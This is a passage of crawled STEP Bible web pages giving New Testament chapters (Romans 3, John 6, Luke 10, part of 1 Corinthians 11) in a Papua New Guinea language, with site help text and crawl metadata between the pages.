Áánútu aúrankaꞋa arupí umátinkanintavena pukáiye. 25 Áánútu séna sáwíꞋo kwéom-beyamba maitiyuwáníntavena Ísu Káráísiti puwínana kwená naaemá kumíníye siráimba mináíntávéta séta áraiꞋa mirá kwéiye kwésundayavenaya kentáásí sáwí-meyamba kwémaisiyuwaiye. ááémo sáwíꞋo uráamba Áánútu íma ááéma sáwí-meyamba tiména kwemá arupí kwéimba awánanaaontavena séna naaémba Ísu Káráísiti puwéna miwítí sáwí-meyamba maitiyuwáníye siráiye. 26 ívéꞋa Áánútu arupí kwéimba awánanaaontavena kwaásimo sáwíꞋo kwéontavena imáyáa éna maará kwéiye. Ísu Káráísiti miwítí sáwí-meyamba kwémaitiyuwain-aintavesa áraire kwésewai Áánútu kwenaúrankaꞋa arupí kwéumatinkaiye.\n27 miráumai kesúya maé iyónaundaya kentáávímbá íma kwáyáiye. kentáásí kaweꞋ-máyáíyávéna ímanivo Ísu Káráísitin-aaiyaveta áraire súndayavena mindáwe suꞋmaiyavena Áánútu kwenaúrankaꞋa arupí kwéumasinkaintaawe. miráumai kesúya maé iyónaundaya kentáávímbá íma kwáyáiye. 28 simátimunda árair-aimban-iye. Áánútuna ámáánta kwégwaraundayavenaya ímanivo kwenááiyaveta áraire súndayavenaya Áánútu kwenaúrankaꞋa arupí kwéumasinkaintaawe. 29 íma Yútaa-kwaasiye suꞋmainovo óꞋonkaa-kwaasigwaraꞋa túwaꞋnaa íníntavena Áánútu máyáiye. 30 mimbóráwáí Áánútu ména Yútaa-kwaasiya kwenaúrankaꞋa arupí umásinkenaya óꞋonkaa-kwaasigwaraꞋa mirá kwéumatinkaiye. 31 kwenááiyaveta áraire séta kwenkáꞋá agevamái máyaundayavenaya Áánútu arupí kwéumasinkaisata miráumai Áánútuna ámáámba íma tuwéta minámáánkóná ááimba awánéta kwégwaraumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.3","date":"2018-04-27T08:40:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524127095762.40\/warc\/CC-MAIN-20180427075937-20180427095937-00496.warc.gz","language":"kze","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000059604644775}","num_words":710,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 6\nÍsu sáwíva-kwaasi toómbá tímakain-kwasai.1 naaóváꞋá Áánútu Yútaa-kwaasi tíyótaasa í-tánón-kánáá sáwíyankaꞋa tíníye kwéuwana Káríri-kwaaunkona menávápáꞋá Ísuma nompí-sípívímbá kwéna minkwáúnkóná moórá-awiꞋa Táípíriyasi nompáꞋá kúmba tíꞋo ún-kwaasiyomba asóvamatinkarowasa awánaresa pósa kwenánaaemba kwárówasa Ísuwe kwená kwayó-kwáásíyé nompí-sípívínkémbá marapáꞋá ásávesa omápaꞋa umáyówasa 5 sáwíva-kwaasi ÍsunopaꞋa kwéiyuwana tuwánéna imáyáama éna séna naaémba mirá ónaumpo aivaꞋá Vírípimba áísaa umai isánáe séna áísaa ena séna náávakena toómbá meéyámbaꞋmaiya tíménara nánááoo súwana 7 Vírípima séna sáwívar-ontankaken-tomba 200 kinaaraken-tomba meéyámbaꞋmaiya timúnasaya naasinó súwana 8 moórá-kwayo-kwaasi Sáímoni Pítaa áváko áwíꞋa Éndaru 9 kwemá séna moórá-iyampoigo évaꞋaasei-tonkwara kaeꞋ-nóyáákwáráꞋá makáimbanivo sáwíva-kwaasi máyáawe súwana 10 Ísu kwená kwayó-kwáásíyávéna séna maraꞋá máéro simátíméro súwasa simátímúwasa maraꞋá máúmba minkwáásívínkémbá sáwíva-kwaaima 5,000 kwaaima máyówana 11 Ísu mintómbá maisokéna Áánútuntavena súwi simásuwena toómbá topán-topan-umai kwená kwayó-kwáásíráꞋá timúwasa miwímá tímúwana toómbó nontenkáán-umai noyááꞋa miráumai nowaná tímúꞋa vówasa miwítí imáyáaomo úniꞋa uwaná 12 kwená kwayó-kwáásíyávéna séna mintón-ayai íma úwoivaꞋa tuwéꞋa máyáaro súwasa 13 évaꞋaasei-tompinkemba nésamo túwón-ayaivinkemba sísamaivakemba kaeꞋá kumbaimái-unampimba áítumai ógwitowasa 14 Ísumo úmba awánésa sésa Áánútun-aai simátímíwaima íya awánáúnda-awaameꞋa isatá awánáúmne sésa kwéamuꞋmaraundawaiman-iye sésa 15 kentáásí kawááíta íníyemo sumbá Ísu miwí tirumpimbó sun-áímbá iséna íma mirá ónaunasa sewé séna tiyuwéna omápaꞋa iráiye.\nÍsuma non-avóvomayaapaꞋa kuráin-kwasai.16 Ísu omápaꞋa umáyowasa enónkaꞋa kwená kwayó-kwáásí nonkwaúnkón-awampaꞋa kumésa 17 KápénéamuvaꞋa kónáe sésa nompí-sípívímbá usámaaisesa kuwaná Ísuma íma usauwerówana noꞋwáámba aúkúwana 18 anón-undaoma kwétena nonkómá tuvántááva kwéuwasa 19 tamayóꞋnei nombá tuwíntámaesa ayáátáákaꞋa kuwaná Ísu non-avóvomayaapaꞋa kwénaaena nompí-sípígóná egwaaꞋá túwasa awánésa táátavesa kwéuwana 20 Ísu séna kemá úmpo tááꞋa kaivó aáno máéro súwasa 21 aamoí ésa sésa nompí-sípívímbá usámaaisaao suwaná avekáán-úwana nompí-sípígó non-awámpáꞋá kúpaꞋa kuráiye.\nÍsumba avakáá uráan-kwasai.22 aaváyaavimba menávápáꞋá komáyón-kwaasi sésa tíndauma kímbora-nompi-sipima kwáyáísana Ísuma íma mimpímbá kwisasá kwená kwayó-kwáásí miwíyé suꞋmai kuráavo Ísuma náávara máyáiyo siráawe. 23 évaka-kwaasi nompí-sípívímbá Táípíriyasivakemba kwétoyo-esa tíndauraamba Ísu Áánútuntavena súwi súwasa kwaásiyomba toómbá néiron-ayampaꞋa tésa 24 Ísuwe kwená kwayó-kwáásíyé íma máyóntavesa tivakáá ónáe sésa mindómpí-sípívímbá usámaaisesa KápénéamuvaꞋa kuráawe.\nÍsu maíꞋmaiꞋa ónááon-tomba úne siráin-kwasai.25 Kápénéamu-ayampaꞋa kumbá Ísumba awánésa sésa kesí anóndakoo nósa-tawai maaváꞋá tiráano suwaná 26 Ísu séna maísáaro íma kawer-áwááméꞋá agaráátínkaraundayaveꞋa kwésivakaa-ovo toómbó naráantaveꞋa kwésivakaa-owe. 27 toómbó ímo kwaíkwaiꞋo índa-tontaveꞋo éꞋa íma mayáímá maéꞋa kwaási maíꞋmaiꞋo ónááon-tontaveꞋo éꞋa mayáímá máyáaro. mintómbó timénaunda kemá kwaási úrandaꞋa kumpaáruraundawai mintómbá timénaumne. Áánútu kesivomá kentávéna séna aamoí kwéumankaumne. kesí mayáímá mayaaó simbá póꞋa mintómbá timénaumne súwasa 28 áísaa esa sésa nóraumaiya Áánútuna mayáímá mayánaumno suwaná 29 Ísu séna kentávéꞋo séꞋo áraiꞋa Áánútuma aiꞋmákaisana kunkáiwai iyémó sembá mindá Áánútuna mayáímá maéꞋa sewé súwasa 30 nóra awaameraꞋi. ímo awánáúnda-awaameꞋo inatáámó éta awánétaamo éta séta áraiꞋa Áánútuma embá aiꞋmáráísama kunkáandawaima óne. nóim-bayai-awaamera íníyono sésa 31 kentáá síkwáꞋnáma kavóná-maravaꞋa mésa kwíyómpaken-tomba áwíꞋa máána-tomba némáembanivo emó uráandawaimo éna íma mindá usáyaaitaraiye. naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna kwíyómpaken-tomba timúwasa naráawe agaimaréna siráiye suwaná 32 Ísu séna maísáaro Mósesimo tímakon-tomba íma kwíyómpaken-tomban-iye. kesivomá kwíyómpaken-tomba kawe-tómbá kwétimiye. 33 kwíyómpakembo marapáꞋó kunkáiwaima kwemá Áánútuma kwétimin-tomban-iye. kwentávéꞋa póꞋa maíꞋmaiꞋa ónááowe súwasa 34 sésa sénda-tomba aasiyaasi-táwai simiyó suwaná 35 Ísu séna kemá maíꞋmaiꞋa ónááon-tomba úne. kesópaꞋa kwétiyawai íma tááima kwétinkaiye. kenkáꞋá aráápamai kwémaiyawai íma nontávéna kwétinkaiye. 36 áꞋa simátimeꞋa séꞋa kesí mayáí-áwááméꞋá awánaambanivo kesááiyaveꞋa íma áraire sésa kenkáꞋá íma aráápamai kwémaewe. 37 ánivo kesivomó kwésimin-kwaasimo éꞋa kesópaꞋa ténááowe. kesópaꞋo tíyan-kwaasiyaveꞋo éꞋa íma kóro sénaumne. 38 kesí imáyáa kwaránaundayaveꞋa kwíyómpakemba íma kumbáyaumpo siꞋmákaiwaina imáyáa kwaránaundayaveꞋa kumbáyaumne. 39 siꞋmákaiwaima simásimena séna amúnda-kwaasi sáwí-amba kwáráavo se kawááuwo. naaén-kanaama puwíyampinkemba usásintinkaano. 40 kesivomá simásimena séna kesááninkoo embá awánésa sésa Áánútu ááninkoman-iye síyawaima aúnáiꞋa umái maíꞋmaiꞋa ónááowe siráiye. naaén-kanaama puwíyampinkemba usásintinkanaumne Ísu siráiye.\n41 kemá kwíyómpaken-tomba úne Ísu súntavesa Yútaa-anon-kwaasi tirunkó sáwíꞋa kwéuwasa iséise kwéesa 42 sésa kwemá Ísuma Yósépi ááninkoman-iye. anóvowi átaamo tuwánáúndayaanivo nóra sénawa kwíyómpakemba kunkáumne kwésiyo suwaná 43 Ísu simátimena séna íma mirá iséise oró séna 44 kesópaꞋa íma úwoima ténááovo kesivo kembá siꞋmákaiwaima tááyainaꞋa kesópaꞋa tíyaꞋa naaén-kanaama puwíyampinkemba usásintinkanaumne. 45 mindáyavai naaóváꞋá Áánútun-aai simátímakowai agaimarésa sésa Áánútu amápa-kwaasi simái agaráátinkaniye siráawe. kesivon-áái ísámai kaweꞋá íyawai kesópaꞋa ténááowe. 46 kesivombá íma awánaraavo kemá Áánútunopakemba kunkáundawai keyááma kesivombá awánaraumpo kesivon-áái ísámai kaweꞋá íyawai kesópaꞋa ténááowe. 47 áraiꞋa simátimeꞋa séꞋa kesááiyavesa áraire sésa kenkáꞋá aráápamai kwémaewai aúnáiꞋa umái maíꞋmaiꞋa kwéomba ááimba kwéasaawe. 48 kemá maíꞋmaiꞋa ónááon-tomba úne. 49 kentíkwáꞋnáma kavóná-maravaꞋa mésa máána-tomba neémesa úwoi putáráawe. 50 ánivo kwíyómpaken-tomba mirán-tómbá náíyawaima úwoi maíꞋmaiꞋa ónááowe. 51 kemá kwíyómpaken-tomba maíꞋmaiꞋa ónááon-tomba úne. mintómbó nésamo ésa maíꞋmaiꞋa ónááowe. kesúma timúnaꞋa naantávéꞋa póꞋa maíꞋmaiꞋa ónááowe Ísu siráiye.\n52 Ísu súwasa Yútaa-anon-kwaasi tirunkó sáwíꞋa kwéuwasa iséise ésa sésa nóra éna mindáꞋá kwenáúma simínata nánaumno suwaná 53 Ísu simátimena séna áraiꞋa súne. kemá kwaási úrandaꞋa kumpaáruraundawai póꞋa kesúmo ímo néꞋo kesí naaemó ímo néꞋo éꞋa íma maíꞋmaiꞋa ónááowe. 54 ánivo kesúma kesí naaemá naawáí aúnáiꞋa umái maíꞋmaiꞋa kwéomba ááimba kwéasaamba póꞋa naaén-kanaama puwíyampinkemba usásintinkanaumne. 55 kesúma kawe-tómbán-iye. kesí naaemá kaweꞋ-nómbán-iye. 56 kesúma kesí naaemá naawáí kesé tarúmai máyáawaꞋa kemá miwísé tarúmai máyaumne. 57 kesivo siꞋmákaiwaima maíꞋmaiꞋa kwéintaveꞋa kemá maíꞋmaiꞋa kwéune. kemá maíꞋmaiꞋa kwéundayaveꞋa póꞋa kesúma naawáí maíꞋmaiꞋa ónááowe. 58 kentíkwáꞋnáma toómbá neémesa úwoi putáráawe. kemá súnda-tomba kwíyómpaken-tomba íma mirán-tómbán-iye. kemó súnda-tomba mintómbá naawáí aasiyaasí maíꞋmaiꞋa ónááowe Ísu séna 59 Kápénéamu-naopaꞋa monoꞋ-náúmpáꞋá mináímbá simátímakaiye.\n60 Ísu simásuwowasa kwenánaaemba kwakón-kwaasi tirunkó sáwíꞋa kwéuwasa ísámai iséise ésa sésa kwemó sin-áínkómá íya sinkáin-aimba póna umbaí kwétaiye suwaná Ísu arumpin-ímáyáámá éna simátimena séna mináíntávéꞋa kayókáawe. 62 kemó kwíyómpakembo kwaási úrandaꞋo kumpaáruraundawaimo kuntauweréꞋo íyónaꞋo suwánéꞋo éꞋa nóra imáyáawa ónááoo. 63 kwaásiti asirayánkó íma túwaꞋnaa ivo Áánútun-amanko aúnáiꞋa umái maíꞋmaiꞋa kwéumatinkaiwaiman-iye. mirámó intembá kemó súnda-aimba aúnáiꞋa umái maíꞋmaiꞋa ónááon-aimba imbánivo 64 évakarawaima kentávéꞋa séꞋa kampaꞋá siyé kwésewe Ísu súmba Ísuma kampaꞋá siyémó sun-áímbá kwená kuntaruꞋó íníwainkwaraꞋa naaóváꞋá ísaronkaꞋa póna évakarawai kentávéꞋa séꞋa kampaꞋá siyé kwésewe Ísu simásuwena 65 séna mindáyaveꞋa áꞋa simátimeꞋa séꞋa kesópaꞋa íma úwoima ténááovo kesivomó tááyainaꞋa ténááowe siráiye.\n66 Ísu súwasa kwenánaaemba kwakón-kwaasi évakarawai Ísumba iváꞋá auwésa kwesé íma kwénaauwana 67 Ísu kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasiyavena séna kegwárárá iváꞋá kwésiyuwaao séna tísaa úwana 68 Sáímoni Pítaa séna anóndakoo nááwa ewa kónaunawa seénó. emá aúnáiꞋa umái maíꞋmaiꞋa ónaumne-aimba kwésene. 69 ívéꞋa entávéta séta áraiꞋa séne. Áánútunopakemba kaweꞋnáꞋá óneya kwésune súwana 70 Ísu simátimena séna kemá sísamaivakemba kaeꞋá kumbaimái-kwaasima ítátinkaundanivo keinárawapinkemba moórá sáwínaꞋa paáriniye súmba 71 Sáímoni Isakéríóti ááninko áwíꞋa Yútásintavena séna Yútási kwemá kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasivinkemba Ísuna kuntaruꞋá mayáníwaiman-iye. kwentávéna mináímbá siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.6","date":"2018-04-23T17:54:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946120.31\/warc\/CC-MAIN-20180423164921-20180423184921-00166.warc.gz","language":"kze","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.000003457069397}","num_words":1095,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 10\nÍsu 72 kwaasi mayáí tímakain-kwasai.1 naaémba Ísóigo sáwíva-kwaasi 72 kwaasi usásintinkena kaesé umásuwe kwemó kwínín-daopimpaꞋa aivaꞋá kónááowe séna 2 ÁánútunopaꞋo ténááontavesa kwenáái kosimátímaꞋmae koró-áímbá simátimena séna kígauvaꞋa sáwíva-tomba ávu karáisasa mintómbá akaránááon-kwaasi esimáí-kwaasi máyáamba póꞋa kígaugona avowámpaꞋo námúnaa síyana mayáí-kwáásí tiꞋmaráínasa mintómbá akaránááovo 3 koró. sipisípi-araaꞋa kwínana áwááisaantemo in-íyánkómó intenkáámbá on-kwáásívímbá tiꞋmaránaumne. 4 óntambo inaainaaimó sií-únámbá íma maimaéꞋa kwéꞋa toón-únámbá íma maimaéꞋa kwéꞋa tísamai ánáamba íma maimaéꞋa kwéꞋa aampaꞋó kwégweꞋa ayáátáákaꞋa íma úwoi-aimba símae kwéꞋa 5 moórá-naumpaꞋo iyéꞋa séꞋa paru umái máétaao serómó. 6 síyana paru umái maíndawaimo éna mimpárú-áímbá kwempímbá kwénivo ímo paru umái maíndawaimo éna mimpárú-áínkó koyauweréna keinárawatopaꞋa tíníye. 7 mayáí kwémayaiyawai meéyámbá máyáantavai timínda-naumpaꞋa uméwana timínda-tomba nánááowe. íma óꞋon-daumpimpaꞋa naaéꞋa timínda-naumpare suꞋmai umáéro. 8 moórá-naopaꞋo kwíyasa naambá timésa toómbá timésa íyaꞋo kwéneꞋa 9 mindáópaꞋo tíꞋo índa-kwaasi kwéasovamatinkeꞋa simátimeꞋa séꞋa Áánútu kwená kwaási kawááinin-kanaa kentópaꞋa sáwíyankaꞋa tíníye simátíméro. 10 moórá-naopaꞋo kwíyasamo naambó ímo timíyaꞋa aampaꞋá kwégweꞋa avoraꞋá simátimeꞋa séꞋa 11 kentí naaópakem-baramo sísamaivakenta uwátuwaundaya Áánútu keinárawaꞋa íma aamoí umátinkaintavai umásítaiꞋa umái agaráátinkaumne. ísáaro. Áánútu kwená kwaási kawááinin-kanaa sáwíyankaꞋa tíníye isaꞋá tínaaemba umámewe simátíméro. 12 simátimeꞋa séꞋa Áánútu kwaási máyáawaina ááintavena tísaa ínín-kanaa tínímba naaóváꞋá Sótómu-naopaꞋa méraan-kwaasi sáwí-kwaasi sáwí-meyamba timínímbanivo keinárawaꞋo tínaaembo umátimenaaon-kwaasi sáwí-meyamba ávááraumai timíníye Ísu siráiye.\níma aaí ísaraan-kwasai.13 Ísu simásuwena séna Kórásini-naopaken-kwaasiye Pétésáítaa-naopaken-kwaasiye kárákwiyoro. naaóváꞋá Táyaa-naopaken-kwaasiye Sáítóni-naopaken-kwaasiye Áánútun-aaimo ímo ísaraawaivimbo óꞋon-oꞋom-bayai ímo awánaraam-bayaimo kwémayaawandamo awánarekai kentí sáwí-mayai tukáasino. sáwí-mayaimo tuwésamo úwoi-unankwatoimo úmaesamo kanamó aꞋmákáankakai Áánútu tuwánaraisino. 14 mindáyaveꞋa simátíménda ísáaro. maarán-ímáyáá kwéeꞋa Áánútu kwaási máyáawaina ááintavena tísaa ínín-kanaa tínímba Áánútu Táyaa-naopaken-kwaasiye Sáítóni-naopaken-kwaasiye sáwí-meyamba anómba timíníye-imayaa kwéowe. kentí sáwí-meyanko minkáéꞋ-náópakewaiti sáwí-meyankomba usáyaaitaya-sawi-meyamba timíníye. 15 Kápénéamu-naopaken-kwaasiyono. kentúwíꞋa mósá maréꞋa séꞋa kwíyómpaꞋa iyónaumne sembánivo púwón-ayampaꞋa kónááowe Ísu simásuwena 16 kwená kwayó-kwáásíyávéna simátimena séna kentáái ísámai kaweꞋá kwéowai mirámó ombá kesáái ísámai kaweꞋá kwéovo tínaaemba kwéumatinkaawai kenkwáráꞋá mirá kwéowe. tínaaemba kwéumasinkaawai mirámó ombá siꞋmákaiwainkwaraꞋa mirá kwéowe Ísu siráiye.\n72 kwaasi koyauwékáan-kwasai.17 Ísu súwasa minkwáásí 72 kwaasi isésa kóyáwé urésa ÍsunopaꞋa tóyo ésa aamoí taumánkesa sésa Ísóigoo taraváá-kwántóntávéta séta Ísuna asirayámbá kwáyáintaveꞋa tiyuwé kóro kwésunasaya isésa kóuraawe suwaná 18 Ísu séna mirá owaná kwíyómpakembo tawáombo intembá Áánútu Sáátáánigona asirayámbá maisukáimba awánaraumne. 19 simátíménda ísáaro. asirayámbá timúnaꞋa póꞋa kwaaivaainkómó váindamo éꞋa íma puwíyana áwááisaantemo índa-uvowankomo váindamo éꞋa íma puwónááowe. tímakaunda-asirayanko Sáátáánigona asirayánkómbá kwéusayaaitaimba póna íma amápa-tantaako sáwíꞋa umátinkaniye. 20 taraváá-kwántómbá kentáái isésa kóuraantaveꞋa íma aamoí ovo Áánútu kwíyómpaꞋa aúváí-kwandaaivimba kentúwíꞋa agaimakáintaveꞋa aamoí oró Ísu siráiye.\nÍsu Áánútu áwíꞋa mósá makáin-kwasai.21 minkánáá Áánútun-amanko Ísumba imáyáa amúwana arunkó kaweꞋá úwana séna kesivoó kwíyómpakwara mararákwáráꞋá kárákwiraandawai óne. amápa-tantaaꞋa kwéisaumne sen-kwáásí íma simátime úwoi-kwaasi simátime mirámó iíyávéna kwéankaisaꞋa póꞋa enáwíꞋa mósá kwémaraumne Ísu simásuwena 22 simátimena séna kesivo amápa-tantaakaꞋa kárákwiyuwo séna símakaiye. amáparawai kesí ááimba íma kaweꞋá umái suwánaraavo kesivo kemá ááninko únana póna kesí ááimba suwánaraiye. amáparawai kesivoná ááimba íma kaweꞋá umái awánaraavo kesivombá póꞋa keyáá awánaraumne. kesivoná ááimbo agaráátinkaundawai kwéawanaawe Ísu siráiye.\n23 Ísu simásuwena mégwantena kwená kwayó-kwáásíyáváíye suꞋmai séna awánaamba póna tirunkó kaweꞋá ínaꞋa máéro. 24 simátimeꞋa séꞋa naaóváꞋá Áánútun-aai simátímakowaiye anón-kwaasiye keinárawaꞋo kwéunda-mayai kwéawanaanten-umai awánanae sésa umbá íma awánaraawe. miwí keinárawaꞋo kwéisaanten-umai isánáe sésa umbá íma ísaraawe Ísu kwená kwayó-kwáásíyávéna siráiye.\nSámériyaavakewai namuro-kwáásí áwaꞋnaa uráin-kwasai.25 moórá-tawai Ísu kwenáái kwésimatimuwana moóráwai ámáámba kaweꞋá umái ísarowai ÍsunopaꞋa téna áísaa umai Ísumba isánáe séna anóndakoo nóra umáíya aúnáiꞋa umáíya kwíyómpaꞋa maíꞋmaira ónaumno súwana 26 Ísu séna Áánútun-aai aúváí-kwandaaivimba awánáánda mináíntáváí nóran-imayaa kwéono súwana 27 minkwáásígó séna Áánútun-aai aúváí-kwandaaivinken-ainko séna kentiruné kentí imáyáawe kentí asirayáné ÁánútumpaꞋa kentí Ísóigomba áméro séna kesáváí-ímáyáámó ontembá kentí kwaásiti imáyáagwaraꞋa oró siráiye súwana 28 Ísu séna áraiꞋa séndanivo mirámó é aúnáiꞋa umái kwíyómpaꞋa maíꞋmaiꞋa íníyone Ísu siráiye.\n29 súwana minkwáásígó imáyáa éna óꞋon-kwaasi suwánésa kawe-kwáásímán-iye sígwáe séna Ísuntavena séna kesí kwaási nááwaꞋiyo súwana 30 Ísu séna simátíménda isaaó. moóráwai Yútaa-kwaasi Yérúsaremu-naopakemba Yéríko-naopaꞋa kónáe séna aampaꞋá kwimbá umóyán-kwáásí tátokesa kwená unáánkwátói ayúꞋmaesa tuvúꞋmáráawana puwíndayavena aampaꞋá máyáísana 31 moóráwai Áánútuntavenamo ísámaimo póíꞋo tuvúꞋmái kwéagayaiwai minámpáꞋá kwimbá aanéivaꞋa máyáísana kóawanena moórá-aaneivaꞋa kóyaaitaisana 32 moóráwai Árívái-andarakewai monoꞋ-náúmpáꞋá mayáí kwémayaiwai minámpáꞋá kwimbá aanéivaꞋa máyáísana kwená egwaaꞋá kwéna kóawanena moórá-aaneivaꞋa úwoi kóyaaitaisana 33 moóráwai Sámériyaavaken-kwaasi miwímá Yútaa-kwaasiti namuro-kwáásívínkémbá moóráwai minámpáꞋá kwimbá koawánéna arumbá umánkena 34 kwená egwaaꞋá koména masawémba ándá-aran-donkwaraꞋa umái avivimbá arankéna asááumankena mósá árámbai kwená tónki-poi arósáánumpimba ankéna áíꞋmaena kwááyumo ten-kwáásímó kwáén-daumpaꞋa móankarena kárákwirena 35 usá aaváyaavimba mindánkó avowámbá kae-táwai-mayaigona óntamba aména séna kaweꞋá umái kárákwire kwenaneꞋó túwénda-ontambo éꞋa ke téꞋa anondá embá máamenaumne simásuwena kóuraiye Ísu simásuwena 36 nóra umáíya aúnáiꞋa umái maíꞋmaira ónaumno súwaintavena Ísu áísaa ena séna umóyán-kwáásí tuvúkáan-kwaasigona kwaási minkáúmbó-kwáásívínkémbá nááwaꞋiyo Ísu súwana minkwáásígó séna arumbá umánkena áwaꞋnaa uráiwai kwená kwaásiman-iye súwana Ísu séna kwemó intembá komé mirá íníyone Ísu siráiye.\nMáátaante Máríyaantei kwaasái.38 Ísuwe kwená kwayó-kwáásíyé aampaꞋá kúmba moórá-ininko áwíꞋa Mááta máyon-daopaꞋa kúwana Ísuntavena séna kesí naaúmpaꞋa toómbá umandaaó súwana 39 uména aaí kwésuwana minínínkón-áúnko áwíꞋa Máríyaa Ísuntavena anón-kwaasima iyé-ímáyáá éna aísamaivimba taména kwenáái kwéisowana 40 Mááta amápa-tomba kwéagayena anóm-bayai kwémaena anón-imayaa éna ÍsunopaꞋa téna séna Ísóigoo kesúnko íma súwaꞋnaa isaꞋá keyáá anóm-bayai kwémayaumpo kentáváí íma imáyáa éma simámínana tasúwaꞋnaa íno súwana 41 Ísu arumbá umánkena séna Máátaao sáwíva-tantaaꞋa anón-imayaa ónana enarumbá umbaí kwétaivo 42 kesááimo kwéisaimba mindá anón-tantaaꞋa póna mindáyavena Máríyaa máyáimba póꞋa íma ivátuweꞋa aiꞋmáráanana kwíníye Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.10","date":"2018-04-20T18:24:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944677.39\/warc\/CC-MAIN-20180420174802-20180420194802-00016.warc.gz","language":"kze","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.000004529953003}","num_words":955,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 111 Ísu Káráísitimo uráintemba mirá kwéumpo kemó úndantemba keinárawaꞋa mirán-oro.\nÁánútuntavai imáyáa ésa torupamái máyómba aarai tiꞋnónkáꞋá káátaraan-kwasai.2 kentávéꞋa imáyáa úmae iyéꞋa simásímakain-aimbo simátímakaunda-aimba kwétaagwiyavontaveꞋa aamoí kwéumatinkaumne. 3 simátíménda ísáaro. Káráísiti amáparawairaꞋa kárákwiyisasa kwaaimó ombá tuwainímbáákaꞋa kárákwiyowana Áánútu KáráísitinkaꞋa kárákwiraiye. 4 miráumai Áánútuntavesa imáyáa ésa torupamái máyáamba kwaaimá námúnaa kwésesa Áánútun-aai kwésimatimemba tiꞋnónkáꞋó kánumoꞋo káátaresamo ésa Káráísiti áwíꞋa sáwíꞋa ónááowe. 5 torupamái máyáamba aaraimá námúnaa kwésesa Áánútun-aai kwésimatimemba tiꞋnónkáꞋó ímo káátaresamo ésa tuwaiꞋmáá túwíꞋa sáwíꞋa ónááovo aarai tiꞋnónkáꞋá káátaraamba tuwánésa tuwaiꞋmááꞋa kárákwiraawe kwésemba mindáyavesa tiꞋnónkáꞋó ímo káátaresamo ésa tuwaiꞋmáá túwíꞋa sáwíꞋa ónááowe. sáwíꞋo on-ínímbó tigaeyáváí ígwáe sésamo tiꞋnóntáumo káráyuwaantemba tiꞋnónkáꞋá íma káátaraan-inimba sáwí-ininkaamba ésa pósa tigaeyáváí kwéowe. 6 aaraimó tiꞋnónkáꞋó ímo káátaresamo ésa tiꞋnóntáu káráyuwaaro kwésune. ánivo tiꞋnóntáumo 